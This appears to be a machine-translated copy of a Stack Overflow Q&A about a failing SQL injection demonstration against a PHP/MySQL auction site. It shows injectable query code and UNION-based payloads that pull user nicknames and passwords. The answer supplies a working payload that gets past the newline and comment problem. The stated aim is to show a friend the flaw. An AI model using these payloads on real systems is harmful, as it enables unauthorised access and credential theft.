SQL注入演示失败 - 注释字符因换行而失败

时间:2013-04-07 08:23:09

标签: php mysql sql sql-injection

晚上好, 我的一个伙伴有一个从一些二流开发者开发的网站,现在我的任务是清理他们的工作。我试图向他展示他们创造的一些问题。在他的代码中,有这个确切的块:

$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
              FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions 
              ON vesp_categories.cat_id=vesp_auctions.category where id=".$id." 
                          AND starts <= ".time()." AND suspended = 0";

(我知道,对吧?)

多个查询是不可能的 - 正在使用mysql_query,而不是指示使用多个查询。我可以做一个工会:

?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -

但'AND start&lt; =“。time()的事实。” AND suspended = 0“'在新行上,打破了注释字符的效果,只返回一个mysql错误”你的SQL语法中有错误;查看与您的MySQL服务器版本对应的手册,以便在第4行“AND starts&lt; = 1365321338 AND suspended = 0”附近使用正确的语法“

如果我删除查询中的换行符,它的效果很好,但是有足够权限编辑他的PHP的攻击者可能不会为SQL注入烦恼

我的约束是否有解决新线/注释问题的方法?或者有人可以提出合适的替代方案吗?

PHP&gt; = 5.2 / MySQL

1 个答案:

答案 0 :(得分:3)

您需要确保注射仍然创建有效的声明。因此,您可以使用另一个UNION SELECT来修复剩余的语句部分:

143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1 union select * from (select null start,null suspended,null,null,null,null,null,null,null,null,null) t where 1=0

注意在子查询中指定匹配的列名,以便找到父WHERE子句中的列名。

如果您不需要LIMIT子句,则可以在首次注入SELECT时执行相同的修复。